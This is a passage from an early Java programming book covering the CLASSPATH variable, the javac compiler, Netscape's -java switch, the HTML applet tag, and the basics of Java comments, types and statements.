Java also differs from C in another respect here: myArgs[0]is the first command-line argument, not the name of the application. If you're accustomed to parsing C command-line arguments, you'll need to be careful not to trip over this difference.

The Java virtual machine continues to run until the main()method of its initial class file has returned, and until any threads that it started are complete. Special threads designated as "daemon" threads are silently killed when the rest of the application has completed.

Previous | Home | Next
Hello Web! IV: Netscape's Revenge | Book Index | The Class Path
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 3] 3.2 The Class Path

Previous Chapter 3
Tools of the Trade 		Next

3.2 The Class Path

The concept of a path should be familiar to anyone who has worked on a DOS or UNIX platform. It's a piece of environment information that provides an application with a list of places to look for some resource. The most common example is a path for executable programs. In a UNIX shell, the PATH environment variable is a colon-separated list of directories that are searched, in order, when the user types the name of a command. The Java CLASSPATH environment variable, similarly, is a list of locations that can be searched for packages containing Java class files. Both the Java interpreter and the Java compiler use CLASSPATH when searching for files on the local host platform.

Classes loaded from the local host via the class path have special features. For example, the Java interpreter loads classes in the class path just once; after a core class has been loaded, it can't be modified or replaced. The interpreter can also be told to trust classes in the class path and to load them without passing them through the byte-code verification process. This is important because certain kinds of optimizations on Java virtual machine instructions produce valid byte-code that, nonetheless, can't pass the verification process. Byte-code that is precompiled on the native host is an extreme example.

The class path is a list of locations where Java class packages are found. A location can be a path such as a directory name or the name of a class archive file. Java supports archives of class files in the uncompressed ZIP format.[1] It automatically looks inside ZIP archives and retrieves classes, which then allows large groups of classes to be distributed in a single archive file. The precise means and format for setting the class path varies from system to system. On a UNIX system, you set the CLASSPATH environment variable with a colon-separated list of directories and class archive files:

[1] The ZIP format is an open standard for file archiving and compression. There are ZIP utilities available for most platforms; you'll need to get one if you want to store Java classes in ZIP archives. Use ftp://ftp.uu.net/pub/archiving/zip/ to access an archive of freely available ZIP utilities.

CLASSPATH=/usr/lib/java/classes.zip:/home/vicky/Java/classes:\
    /home/vicky/.netscape/moz2_0.zip:.

On a Windows system, the CLASSPATH environment variable is set with a semicolon-separated list of directories and class archive files:

CLASSPATH=C:\tools\java\classes.zip;D:\users\vicky\Java\classes;.

The class path can also be set with the -classpath option to the Java interpreter java and the Java compiler javac.

The above UNIX example specifies a class path with four locations: a ZIP archive in /usr/lib/java, a directory in the user's home, another ZIP file in the user's Netscape collection, and the current directory, which is always specified with a dot (.). The last component of the class path, the current directory, is useful when tinkering with classes, but as a general rule, it's bad practice to put the current directory in any kind of path.

The Java interpreter searches each of these four locations in order to find classes. java expects to find class files in a directory hierarchy or in a directory within a ZIP archive that maps to the fully qualified name of the class. The components of a class-package name become the components of a pathname. Given the above class path, the first time we reference a class with the fully qualified name of animals.birds.BigBird, for example, java begins the search with the classes.zip archive in /usr/lib/java. It looks for a class archived under the path animals/birds/BigBird. If java does not find the class there, it looks for the class in /home/vicky/Java/classes/animals/birds/BigBird. If it's not found there, java moves on to the archive file specified next in the class path, and so on.

If you don't specify the CLASSPATH environment variable or the -classpath option, java uses the following default class path:

.:$JAVA/classes:$JAVA/lib/classes.zip     UNIX systems
.;$JAVA\classes;$JAVA\lib\classes.zip     Windows systems

In this path, $JAVA is the main Java directory on your system. Notice that the current directory (.) is the first location in the default class path; this means the files in your current directory are always available. If you change the class path and don't include the current directory, these files will no longer be accessible.

Previous | Home | Next
The Java Interpreter | Book Index | The Java Compiler
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 3] 3.3 The Java Compiler

Previous Chapter 3
Tools of the Trade 		Next

3.3 The Java Compiler

In this section, I'm going to say a few words about javac, the Java compiler that is supplied as part of Sun's JDK. (If you are happily working in another development environment, you may want to skip ahead to the next section.) The javac compiler is written entirely in Java, so it's available for any platform that supports the Java run-time system. The ability to support its own development environments is an important stage in a language's development. Java makes this bootstrapping automatic by supplying a ready-to-run compiler at the same cost as porting the interpreter.

javac turns Java source code into a compiled class that contains Java virtual machine byte-code. By convention, source files are named with a .java extension; the resulting class files have a .class extension. javac considers a file to be a single compilation unit. As you'll see in Chapter 5, Objects in Java, classes in a given compilation unit share certain features like package and import statements.

javac allows you one public class per file and insists the file have the same name as the class. If the filename and class name don't match, javac issues a compilation error. A single file can contain multiple classes, as long as only one of the classes is public. You should avoid packing lots of classes into a single file. The compiler lets you include extra non-public classes in a .java file, so that you can implement a class that is tightly coupled to another class without a lot of hassle. But you should have more than one class in a file if the public class in the file is the only one that ever uses additional classes.

Now for an example. The source code for the following class should be placed in a file called BigBird.java:

package animals.birds

public class BigBird extends Bird {
    ...
}

We can then compile it with:

% javac BigBird.java

Unlike the Java interpreter, which takes a class name as its argument, javac requires an actual filename to process. The above command produces the class file BigBird.class and stores it in the same directory as the source file. While it's useful to have the class file in the same directory as the source when you are working on a simple example, for most real applications you'll need to store the class file in an appropriate place in the class path.

You can use the -d option to javac to specify an alternate directory for storing the class files it generates. The specified directory is used as the root of the class hierarchy, so .class files are placed in this directory or in a subdirectory below it, depending on the package name of the class. For example, we can use the following command to put our BigBird.class file in an appropriate location:

% javac -d /home/vicky/Java/classes BigBird.java

When you use the -d option, javac automatically creates any directories needed to store the class file in the appropriate place. In the above command, the BigBird.class file is stored in /home/vicky/Java/classes/animals/birds.

You can specify multiple .java files in a single javac command; the compiler simply creates a class file for each source file. But you don't need to list source files for other classes your class references, as long as the other classes have already been compiled. During compilation, Java resolves other class references using the class path. If our class references other classes in animals.birds or other packages, the appropriate paths should be listed in the class path at compile time, so that javac can find the appropriate class files. You either make sure that the CLASSPATH environment variable is set or use the -classpath option to javac.

The Java compiler is more intelligent than your average compiler and replaces some of the functionality of a make utility. For example, javac compares the modification times of the source and class files for all referenced classes and recompiles them as necessary. A compiled Java class remembers the source file from which it was compiled, so as long as the source file is in the same directory as the class file, javac can recompile the source if necessary. If, in the above example, class BigBird references another class, animals.furry.Grover, javac looks for the source Grover.java in an animals.furry package and recompiles it if necessary to bring the Grover.class class file up to date.

It's important to note that javac can do its job even if only the compiled versions of referenced classes are available. Java class files contain all the data type and method signature information source files do, so compiling against binary class files is as type safe (and exception safe) as compiling with Java source code.

Previous | Home | Next
The Class Path | Book Index | The Netscape Alternative
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 3] 3.4 The Netscape Alternative

Previous Chapter 3
Tools of the Trade 		Next

3.4 The Netscape Alternative

If the JDK is not available for your platform, but you have access to a Java-enabled version of Netscape Navigator, you can take advantage of a special Netscape switch to compile and run Java applications. The -java switch provides direct access to Netscape's implementation of the Java run-time system and supports the same command-line options as Sun's java interpreter. Here's the general syntax for using the -java switch:

% netscape -java [interpreter options] class name [program arguments]

Before you can use Netscape's -java switch, you have to download the JDK; you need the classes.zip file that is part of the JDK distribution. After you have unpacked the distribution, set the CLASSPATH environment variable to point to both Netscape's class archive and the classes.zip file from the JDK:

CLASSPATH=/usr/lib/java/classes.zip:/home/vicky/.netscape/moz2_0.zip:.

Now you can compile a .java file using Netscape's -java switch as follows:

% netscape -java sun.tools.javac.Main source file

In this case, you are actually using the -java switch to run the Java compiler, javac, and supplying the source file as an argument to the compiler. Recall that javac is itself a Java program, which is why you can run it using the -java switch. The above command produces a class file and stores it in the same directory as the source file.

After you have compiled a Java application with Netscape, you can use Netscape to run it. You can use the -java switch to run nongraphical Java applications. In other words, you can run any application that doesn't use AWT. You can't use the -java switch to run applications that use AWT because Netscape has its own toolkit that employs Netscape native components. However, you can use the -java switch to compile applets (and applications) that use AWT. As always, you can display these applets using Netscape as a Web browser.

Previous | Home | Next
The Java Compiler | Book Index | The Applet Tag
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 3] 3.5 The Applet Tag

Previous Chapter 3
Tools of the Trade 		Next

3.5 The Applet Tag

    Add stuff about 'archive' tag.

Applets are embedded in HTML documents with the <applet> tag. The <applet> tag resembles the HTML <img> image tag.[2] It contains attributes that identify the applet to be displayed and, optionally, give the Web browser hints about how it should be displayed. The standard image tag sizing and alignment attributes, such as height and width, can be used inside the applet tag. Unlike images, however, applets have both an opening <applet> and a closing </applet> tag. Sandwiched between these can be any number of <param> tags that contain application-specific parameters to be passed to the applet itself:

[2] If you are not familiar with HTML or other markup languages, you may want to refer to HTML: The Definitive Guide, from O'Reilly & Associates, for a complete reference on HTML and structured Web documents.

<applet attribute [ attribute ] ...  >
[<param parameter >]
[<param parameter >]
...
<\applet>

Attributes

Attributes are name/value pairs that are interpreted by a Web browser or applet viewer. (Many HTML tags besides <applet> have attributes.) Attributes of the <applet> tag specify general features that apply to all applets, such as size and alignment. The definition of the <applet> tag lists a fixed set of recognized attributes; specifying an incorrect or nonexistent attribute should be considered an HTML error.

Three attributes, code, width, and height, are always required in the <applet> tag. code specifies the name of the applet to be loaded; width and height determine its initial size. Other attributes are optional.

The following is an HTML fragment for a hypothetical, simple clock applet that takes no parameters and requires no special HTML layout:

<applet code=AnalogClock width=100 height=100></applet>

The HTML file that contains this <applet> tag needs to be stored in the same directory as the AnalogClock.class class file. The applet tag is not sensitive to spacing, so the above is therefore equivalent to:

<applet
    code=AnalogClock
    width=100
    height=100>
<\applet>

You can use whatever form seems appropriate.

Parameters

Parameters are analogous to command-line arguments; they provide a way to pass information to an applet. Each <param> tag contains a name and a value that are passed as strings to the applet:

<param name = parameter_name value = parameter_value>

Parameters provide a means of embedding application-specific data and configuration information within an HTML document.[3] Our AnalogClock applet, for example, might accept a parameter that selects between local and universal time:

[3] If you are wondering why the applet's parameters are specified in yet another type of tag, here's the reason. In the original alpha release of Java, applet parameters were included inside of a single <app> tag along with formatting attributes. However, this format was not SGML-compliant, so the <param> tag was added.

<applet code=AnalogClock width=100 height=100>
    <param name=zone value=GMT>
<\applet>

Presumably, this AnalogClock applet is designed to look for a parameter named zone with a possible value of GMT.

Parameter names and values can be quoted to contain spaces and other special characters. We could therefore be more verbose and use a parameter value like the following:

<param name=zone value="Greenwich Mean Time">

The parameters a given applet expects are determined by the developer of that applet. There is no fixed set of parameter names or values; it's up to the applet to interpret the parameter name/value pairs that are passed to it. Any number of parameters can be specified, and the applet may choose to use or ignore them as it sees fit. The applet might also consider parameters to be either optional or required and act accordingly.

Hablo Applet?

Web browsers ignore tags they don't understand; if the Web browser doesn't interpret the <applet> or <param> tags, they should disappear and any HTML between the <applet>and </applet> tags should appear normally.

By convention, Java-enabled Web browsers do the opposite and ignore any extra HTML between the <applet> and </applet> tags. This means we can place some alternate HTML inside the <applet> tag, which is then displayed only by Web browsers that can't run the applet.

For our AnalogClock example, we could display a small text explanation and an image of the clock applet as a teaser:

<applet code=AnalogClock width=100 height=100>
    <param name=zone value=GMT>
    <strong>If you see this you don't have a Java-enabled Web
    browser. Here's a picture of what you are missing.</strong>
    <img src="clockface.gif">
<\applet>

The Complete Applet Tag

We can now spell out the full-blown <applet> tag:[4]

[4] The HTML working group of the IETF is investigating standardization of embedded objects in HTML. A draft document can be found at ftp://ds.internic.net/internet-drafts/draft-ietf-html-cda-00.txt. They would prefer a slightly less application-centric name such as <embed>. However, their discussion, for the most part, parallels the <applet> tag.

<applet
    code = class name
    width = pixels wide
    height = pixels high
    [ codebase = location URL ]
    [ name = instance name ]
    [ alt = alternate text ]
    [ align = alignment style ]
    [ vspace = vertical pad pixels ]
    [ hspace = horizontal pad pixels ]
>
[ <param name = parameter name value = parameter value> ]
[ <param name = parameter name value = parameter value> ]
...
[ HTML for non Java aware browsers ]
<\applet>

The width, height, align, vspace, and hspace attributes have the same meanings as those of the <img> tag and determine the preferred size, alignment, and padding respectively.

The alt attribute specifies alternate text that is displayed by browsers that understand the <applet> tag and its attributes, but can't actually run applets. This attribute can also describe the applet, since in this case any alternate HTML between <applet> and <\applet> is ignored.

The name attribute specifies an instance name for the executing applet. This is a name specified as a unique label for each copy of an applet on a particular HTML page. For example, if we include our clock twice on the same page (using two applet tags), we could give each instance a unique name to differentiate them:

<applet code=AnalogClock name="bigClock" width=300 height=300><\applet>
<applet code=AnalogClock name="smallClock" width=50 height=50><\applet>

Applets use instance names to recognize and communicate with other applets on the same page. We could, for instance, create a "clock setter" applet that knows how to set the time on a AnalogClock applet and pass it the instance name of a particular target clock on this page as a parameter. This might look something like:

<applet code=ClockSetter>
    <param name=clockToSet value="bigClock">
<\applet>

Loading Class Files

The code attribute of the <applet> tag should specify the name of an applet. This is either a simple class name, or a package path and class name. For now, let's look at simple class names; I'll discuss packages in a moment. By default, the Java run-time system looks for the class file in the same location as the HTML document that contains it. This location is known as the base URL for the document.

Consider an HTML document, clock.html, that contains our clock applet example:

<applet code=AnalogClock width=100 height=100><\applet>

Let's say we retrieve the document at the following URL:

http://www.time.ch/documents/clock.html

Java tries to retrieve the applet class file from the same base location:

http://www.time.ch/documents/AnalogClock.class

The codebase attribute of the <applet> tag can be used to specify an alternative base URL for the class file search. Let's say our HTML document now specifies codebase, as in the following example:

<applet
    codebase=http://www.joes.ch/stuff/
    code=AnalogClock
    width=100
    height=100>
<\applet>

Java now looks for the applet class file at:

http://www.joes.ch/stuff/AnalogClock.class

Packages

Packages are groups of Java classes; see Chapter 5, Objects in Java for more information. A package name is a little like an Internet hostname, in that they both use a hierarchical, dot-separated naming convention. A Java class file can be identified by its full name by prefixing the class name with the package name. We might therefore have a package called time for time-related Java classes, and perhaps a subordinate package called time.clock to hold classes related to one or more clock applications.

In addition to providing a naming scheme, packages can be used to locate classes stored at a particular location. Before a class file is retrieved from a server, its package-name component is translated by the client into a relative path name under the base URL of the document. The components of a class package name are simply turned into the components of a path name, just like with classes on your local system.

Let's suppose that our AnalogClock has been placed into the time.clock package and now has the fully qualified name of time.clock.AnalogClock. Our simple <applet> tag would now look like:

<applet code=time.clock.AnalogClock width=100 height=100><\applet>

Let's say the clock.html document is once again retrieved from:

http://www.time.ch/documents/clock.html

Java now looks for the class file in the following location:

http://www.time.ch/documents/time/clock/AnalogClock.class

The same is true when specifying an alternative codebase:

<applet
    codebase=http://www.joes.ch/stuff/
    code=time.clock.AnalogClock
    width=100
    height=100>
<\applet>

Java now tries to find the class in the corresponding path under the new base URL:

http://www.joes.ch/stuff/time/clock/AnalogClock.class

One possible package-naming convention proposes that Internet host and domain names be incorporated as part of package names to form a unique identifier for classes produced by a given organization. If a company with the domain name foobar.com produced our AnalogClock class, they might distribute it in a package called com.foobar.time.clock. The fully qualified name of the AnalogClock class would then be com.foo.time.clock.AnalogClock. This would presumably be a unique name stored on an arbitrary server. A future version of the Java class loader might use this to automatically search for classes on remote hosts.

Perhaps soon we'll run Sun's latest and greatest Web browser directly from its source with:

% java com.sun.java.hotjava.HotJava

Viewing Applets

Sun's JDK comes with an applet-viewer program aptly called appletviewer. To use appletviewer, specify the URL of the document on the command line. For example, to view our AnalogClock at the URL shown above, use the following command:

% appletviewer http://www.time.ch/documents/clock.html

The appletviewer retrieves all applets in the specified document and displays each one in a separate window. appletviewer is not a Web browser; it doesn't attempt to display HTML. It's primarily a convenience for testing and debugging applets. If the document doesn't contain <applet> tags, appletviewer does nothing.

Previous | Home | Next
The Netscape Alternative | Book Index | The Java Language
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 4] The Java Language

Previous Chapter 4 Next

4. The Java Language

Contents:
Text Encoding
Comments
Types
Statements and Expressions
Exceptions
Arrays

In this chapter, we'll introduce the framework of the Java language and some of its fundamental tools. I'm not going to try to provide a full language reference here. Instead, I'll lay out the basic structures of Java with special attention to how it differs from other languages. For example, we'll take a close look at arrays in Java, because they are significantly different from those in some other languages. We won't, on the other hand, spend much time explaining basic language constructs like loops and control structures. We won't talk much about Java's object-oriented features here, as that's covered in Chapter 5, Objects in Java.

As always, we'll try to provide meaningful examples to illustrate how to use Java in everyday programming tasks.

4.1 Text Encoding

Java is a language for the Internet. Since the people of the Net speak and write in many different human languages, Java must be able to handle a number of languages as well. One of the ways in which Java supports international access is through Unicode character encoding. Unicode uses a 16-bit character encoding; it's a worldwide standard that supports the scripts (character sets) of most languages.[1]

[1] For more information about Unicode, see the following URL: http://www.unicode.org/. Ironically, one listed "obsolete and archaic" scripts not currently supported by the Unicode standard is Javanese--a historical language of the people of the Island of Java.

Java source code can be written using the Unicode character encoding and stored either in its full form or with ASCII-encoded Unicode character values. This makes Java a friendly language for non-English speaking programmers, as these programmers can use their native alphabet for class, method, and variable names in Java code.

The Java char type and String objects also support Unicode. But if you're concerned about having to labor with two-byte characters, you can relax. The String API makes the character encoding transparent to you. Unicode is also ASCII-friendly; the first 256 characters are identical to the first 256 characters in the ISO8859-1 (Latin-1) encoding and if you stick with these values, there's really no distinction between the two.

Most platforms can't display all currently defined Unicode characters. As a result, Java programs can be written with special Unicode escape sequences. A Unicode character can be represented with the escape sequence:

\uxxxx

xxxx is a sequence of one to four hexadecimal digits. The escape sequence indicates an ASCII-encoded Unicode character. This is also the form Java uses to output a Unicode character in an environment that doesn't otherwise support them.

Java stores and manipulates characters and strings internally as Unicode values. Java also comes with classes to read and write Unicode-formatted character streams, as you'll see in Chapter 8, Input/Output Facilities.

Previous | Home | Next
The Applet Tag | Book Index | Comments
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 4] 4.2 Comments

Previous Chapter 4
The Java Language 		Next

4.2 Comments

Java supports both C-style block comments delimited by /* and */ and C++-style line comments indicated by //:

/*  This is a
        multiline
            comment.    */

// This is a single line comment
// and so // is this

As in C, block comments can't be nested. Single-line comments are delimited by the end of a line; extra // indicators inside a single line have no effect. Line comments are useful for short comments within methods because you can still wrap block comments around large chunks of code during development.

By convention, a block comment beginning with /** indicates a special "doc comment." A doc comment is commentary that is extracted by automated documentation generators, such as Sun's javadoc program that comes with the Java Development Kit. A doc comment is terminated by the next */, just as with a regular block comment. Leading spacing up to a * on each line is ignored; lines beginning with @ are interpreted as special tags for the documentation generator:

/**
 * I think this class is possibly the most amazing thing you will
 * ever see. Let me tell you about my own personal vision and
 * motivation in creating it.
 * <p>
 * It all began when I was a small child, growing up on the
 * streets of Idaho. Potatoes were the rage, and life was good...
 *
 * @see PotatoPeeler
 * @see PotatoMasher
 * @author John 'Spuds' Smith
 * @version 1.00, 19 Dec 1996
 */

javadoc creates HTML class documentation by reading the source code and the embedded comments. The author and version information is presented in the output and the @see tags make hypertext links to the appropriate class documentation. The compiler also looks at the doc comments; in particular, it is interested in the @deprecated tag, which means that the method has been declared obsolete and should be avoided in new programs. The compiler generates a warning message whenever it sees you use a deprecated feature in your code.

Doc comments can appear above class, method, and variable definitions, but some tags may not be applicable to all. For example, a variable declaration can contain only a @see tag. Table 4.1 summarizes the tags used in doc comments.

Table 4.1: Doc Comment Tags
Tag | Description | Applies to
@see | Associated class name | Class, method, or variable
@author | Author name | Class
@version | Version string | Class
@param | Parameter name and description | Method
@return | Description of return value | Method
@exception | Exception name and description | Method
@deprecated | Declares an item obsolete | Class, method, or variable

Previous | Home | Next
Text Encoding | Book Index | Types
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 4] 4.3 Types

Previous Chapter 4
The Java Language 		Next

4.3 Types

The type system of a programming language describes how its data elements (variables and constants) are associated with actual storage. In a statically typed language, such as C or C++, the type of a data element is a simple, unchanging attribute that often corresponds directly to some underlying hardware phenomenon, like a register value or a pointer indirection. In a more dynamic language like Smalltalk or Lisp, variables can be assigned arbitrary elements and can effectively change their type throughout their lifetime. A considerable amount of overhead goes into validating what happens in these languages at run-time. Scripting languages like Tcl and awk achieve ease of use by providing drastically simplified type systems in which only certain data elements can be stored in variables, and values are unified into a common representation such as strings.

As I described in Chapter 1, Yet Another Language?, Java combines the best features of both statically and dynamically typed languages. As in a statically typed language, every variable and programming element in Java has a type that is known at compile-time, so the interpreter doesn't normally have to check the type validity of assignments while the code is executing. Unlike C or C++ though, Java also maintains run-time information about objects and uses this to allow safe run-time polymorphism.

Java data types fall into two categories. Primitive types represent simple values that have built-in functionality in the language; they are fixed elements like literal constants and numeric expressions. Reference types (or class types) include objects and arrays; they are called reference types because they are passed "by reference" as I'll explain shortly.

Primitive Types

Numbers, characters, and boolean values are fundamental elements in Java. Unlike some other (perhaps more pure) object-oriented languages, they are not objects. For those situations where it's desirable to treat a primitive value as an object, Java provides "wrapper" classes (see Chapter 7, Basic Utility Classes). One major advantage of treating primitive values as such is that the Java compiler can more readily optimize their usage.

Another advantage of working with the Java virtual-machine architecture is that primitive types are precisely defined. For example, you never have to worry about the size of an int on a particular platform; it's always a 32-bit, signed, two's complement number. Table 4.2 summarizes Java's primitive types.

Table 4.2: Java Primitive Data Types
Type | Definition
boolean | true or false
char | 16-bit Unicode character
byte | 8-bit signed two's complement integer
short | 16-bit signed two's complement integer
int | 32-bit signed two's complement integer
long | 64-bit signed two's complement integer
float | 32-bit IEEE 754 floating-point value
double | 64-bit IEEE 754 floating-point value

If you think the primitive types look like an idealization of C scalar types on a byte-oriented 32-bit machine, you're absolutely right. That's how they're supposed to look. The 16-bit characters were forced by Unicode, and generic pointers were deleted for other reasons we'll touch on later, but in general the syntax and semantics of Java primitive types are meant to fit a C programmer's mental habits. If you're like most of this book's readers, you'll probably find this saves you a lot of mental effort in learning the language.

Declaration and initialization

Variables are declared inside of methods or classes in C style. For example:

int foo;
double d1, d2;
boolean isFun;

Variables can optionally be initialized with an appropriate expression when they are declared:

int foo = 42;
double d1 = 3.14, d2 = 2 * 3.14;
boolean isFun = true;

Variables that are declared as instance variables in a class are set to default values if they are not initialized. In this case, they act much like static variables in C or C++. Numeric types default to the appropriate flavor of zero, characters are set to the null character "\0," and boolean variables have the value false. Local variables declared in methods, on the other hand, must be explicitly initialized before they can be used.

Integer literals

Integer literals can be specified in octal (base 8), decimal (base 10), or hexadecimal (base 16). A decimal integer is specified by a sequence of digits beginning with one of the characters 1-9:

int i = 1230;

Octal numbers are distinguished from decimal by a leading zero:

int i = 01230;             // i = 664 decimal

(An interesting, but meaningless, observation is that this would make the number 0 an octal value in the eyes of the compiler.)

As in C, a hexadecimal number is denoted by the leading characters 0x or 0X (zero "x"), followed by digits and the characters a-f or A-F, which represent the decimal values 10-15 respectively:

int i = 0xFFFF;            // i = 65535 decimal

Integer literals are of type int unless they are suffixed with an L, denoting that they are to be produced as a long value:

long l = 13L;
long l = 13;               // equivalent--13 is converted from type int

(The lowercase character l ("el") is also acceptable, but should be avoided because it often looks like the numeral 1).

When a numeric type is used in an assignment or an expression involving a type with a larger range, it can be promoted to the larger type. For example, in the second line of the above example, the number 13 has the default type of int, but it's promoted to type long for assignment to the long variable. Certain other numeric and comparison operations also cause this kind of arithmetic promotion. A numeric value can never be assigned to a type with a smaller range without an explicit (C-style) cast, however:

int i = 13;
byte b = i;                // Compile time error--explicit cast needed
byte b = (byte) i;         // Okay

Conversions from floating point to integer types always require an explicit cast because of the potential loss of precision.

Floating-point literals

Floating-point values can be specified in decimal or scientific notation. Floating-point literals are of type double unless they are suffixed with an f denoting that they are to be produced as a float value:

double d = 8.31;
double e = 3.00e+8;
float f = 8.31F;
float g = 3.00e+8F;

Character literals

A literal character value can be specified either as a single-quoted character or as an escaped ASCII or Unicode sequence:

char a = 'a';
char newline = '\n';
char octalff = \u00ff;

Reference Types

In C, you can make a new, complex data type by creating a structure. In Java (and other object-oriented languages), you instead create a class that defines a new type in the language. For instance, if we create a new class called Foo in Java, we are also implicitly creating a new type called Foo. The type of an item governs how it's used and where it's assigned. An item of type Foo can, in general, be assigned to a variable of type Foo or passed as an argument to a method that accepts a Foo value.

In an object-oriented language like Java, a type is not necessarily just a simple attribute. Reference types are related in the same way as the classes they represent. Classes exist in a hierarchy, where a subclass is a specialized kind of its parent class. The corresponding types have a similar relationship, where the type of the child class is considered a subtype of the parent class. Because child classes always extend their parents and have, at a minimum, the same functionality, an object of the child's type can be used in place of an object of the parent's type. For example, if I create a new class, Bar, that extends Foo, there is a new type Bar that is considered a subtype of Foo. Objects of type Bar can then be used anywhere an object of type Foo could be used; An object of type Bar is said to be assignable to a variable of type Foo. This is called subtype polymorphism and is one of the primary features of an object-oriented language. We'll look more closely at classes and objects in Chapter 5, Objects in Java.

Primitive types in Java are used and passed "by value." In other words, when a primitive value is assigned or passed as an argument to a method, it's simply copied. Reference types, on the other hand, are always accessed "by reference." A reference is simply a handle or a name for an object. What a variable of a reference type holds is a reference to an object of its type (or of a subtype). A reference is like a pointer in C or C++, except that its type is strictly enforced and the reference value itself is a primitive entity that can't be examined directly. A reference value can't be created or changed other than through assignment to an appropriate object. When references are assigned or passed to methods, they are copied by value. You can think of a reference as a pointer type that is automatically dereferenced whenever it's mentioned.

Let's run through an example. We specify a variable of type Foo, called myFoo, and assign it an appropriate object:

Foo myFoo = new Foo();
Foo anotherFoo = myFoo;

myFoo is a reference type variable that holds a reference to the newly constructed Foo object. For now, don't worry about the details of creating an object; we'll cover that in Chapter 5, Objects in Java. We designate a second Foo type variable, anotherFoo, and assign it to the same object. There are now two identical references: myFoo and anotherFoo. If we change things in the state of the Foo object itself, we will see the same effect by looking at it with either reference. The comparable code in C++ would be:

// C++
Foo& myFoo = *(new Foo());
Foo& anotherFoo = myFoo;

We can pass one of the variables to a method, as in:

myMethod( myFoo );

An important, but sometimes confusing distinction to make at this point is that the reference itself is passed by value. That is, the argument passed to the method (a local variable from the method's point of view) is actually a third copy of the reference. The method can alter the state of the Foo object itself through that reference, but it can't change the caller's reference to myFoo. That is, the method can't change the caller's myFoo to point to a different Foo object. For the times we want a method to change a reference for us, we have to pass a reference to the object that contains it, as shown in Chapter 5, Objects in Java.

Reference types always point to objects, and objects are always defined by classes. However, there are two special kinds of reference types that specify the type of object they point to in a slightly different way. Arrays in Java have a special place in the type system. They are a special kind of object automatically created to hold a number of some other type of object, known as the base type. Declaring an array-type reference implicitly creates the new class type, as you'll see in the next section.

Interfaces are a bit sneakier. An interface defines a set of methods and a corresponding type. Any object that implements all methods of the interface can be treated as an object of that type. Variables and method arguments can be declared to be of interface types, just like class types, and any object that implements the interface can be assigned to them. This allows Java to cross the lines of the class hierarchy in a type safe way, as you'll see in Chapter 5, Objects in Java.

A Word About Strings

Strings in Java are objects; they are therefore a reference type. String objects do, however, have some special help from the Java compiler that makes them look more primitive. Literal string values in Java source code are turned into String objects by the compiler. They can be used directly, passed as arguments to methods, or assigned to String type variables:

System.out.println( "Hello World..." );
String s = "I am the walrus...";
String t = "John said: \"I am the walrus...\"";

The + symbol in Java is overloaded to provide string concatenation; this is the only overloaded operator in Java:

String quote = "Four score and " + "seven years ago,";
String more = quote + " our" + " fathers" +  " brought...";

Java builds a single String object from the concatenated strings and provides it as the result of the expression. We will discuss the String class in Chapter 7, Basic Utility Classes.

Previous | Home | Next
Comments | Book Index | Statements and Expressions
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 4] 4.4 Statements and Expressions

Previous Chapter 4
The Java Language 		Next

4.4 Statements and Expressions

Although the method declaration syntax of Java is quite different from that of C++, Java statement and expression syntax is very much like that of C. Again, the design intention was to make the low-level details of Java easily accessible to C programmers, so that they can concentrate on learning the parts of the language that are really different. Java statements appear inside of methods and class and variable initializers; they describe all activities of a Java program. Variable declarations and initializations like those in the previous section are statements, as are the basic language structures like conditionals and loops. Expressions are statements that produce a result that can be used as part of another statement. Method calls, object allocations, and, of course, mathematical expressions are examples of expressions.

One of the tenets of Java is to keep things simple and consistent. To that end, when there are no other constraints, evaluations and initializations in Java always occur in the order in which they appear in the code--from left to right. We'll see this rule used in the evaluation of assignment expressions, method calls, and array indexes, to name a few cases. In some other languages, the order of evaluation is more complicated or even implementation dependent. Java removes this element of danger by precisely and simply defining how the code is evaluated. This doesn't, however, mean you should start writing obscure and convoluted statements. Relying on the order of evaluation of expressions is a bad programming habit, even when it works. It produces code that is hard to read and harder to modify. Real programmers, however, are not made of stone, and you may catch me doing this once or twice when I can't resist the urge to write terse code.

Statements

As in C or C++, statements and expressions in Java appear within a code block. A code block is syntactically just a number of statements surrounded by an open curly brace ({) and a close curly brace (}). The statements in a code block can contain variable declarations:

{
    int size = 5;
    setName("Max");
    ...
}

Methods, which look like C functions, are in a sense code blocks that take parameters and can be called by name.

setupDog( String name ) {
    int size = 5;
    setName( name );
    ...
}

Variable declarations are limited in scope to their enclosing code block. That is, they can't be seen outside of the nearest set of braces:

{
    int i = 5;
}

i = 6;           // compile time error, no such variable i

In this way, code blocks can be used to arbitrarily group other statements and variables. The most common use of code blocks, however, is to define a group of statements for use in a conditional or iterative statement.

Since a code block is itself collectively treated as a statement, we define a conditional like an if/else clause as follows:

if ( condition )
    statement;
[ else
    statement; ]

Thus, if/else in Java has the familiar functionality of taking either of the forms:

if ( condition )
    statement;

or:

if ( condition )  {
    [ statement; ]
    [ statement; ]
    [ ... ]
}

Here the condition is a boolean expression. In the second form, the statement is a code block, and all of its enclosed statements are executed if the conditional succeeds. Any variables declared within that block are visible only to the statements within the successful branch of the condition. Like the if/else conditional, most of the remaining Java statements are concerned with controlling the flow of execution. They act for the most part like their namesakes in C or C++.

The do and while iterative statements have the familiar functionality, except that their conditional test is also a boolean expression. You can't use an integer expression or a reference type; in other words you must explicitly test your value. In other words, while i==0 is legitimate, i is not, unless i is boolean. Here are the forms of these two statements:

while ( conditional )
    statement;

do
    statement;
while ( conditional );

The for statement also looks like it does in C:

for ( initialization; conditional; incrementor )
    statement;

The variable initialization expression can declare a new variable; this variable is limited to the scope of the for statement:

for (int i = 0; i < 100; i++ ) {
    System.out.println( i )
    int j = i;
    ...
}

Java doesn't support the C comma operator, which groups multiple expressions into a single expression. However, you can use multiple, comma-separated expressions in the initialization and increment sections of the for loop. For example:

for (int i = 0, j = 10; i < j; i++, j-- ) {
   ... }

The Java switch statement takes an integer type (or an argument that can be promoted to an integer type) and selects among a number of alternative case branches[2] :

[2] An object-based switch statement is desirable and could find its way into the language someday.

switch ( int expression ) {
    case int expression :
        statement;
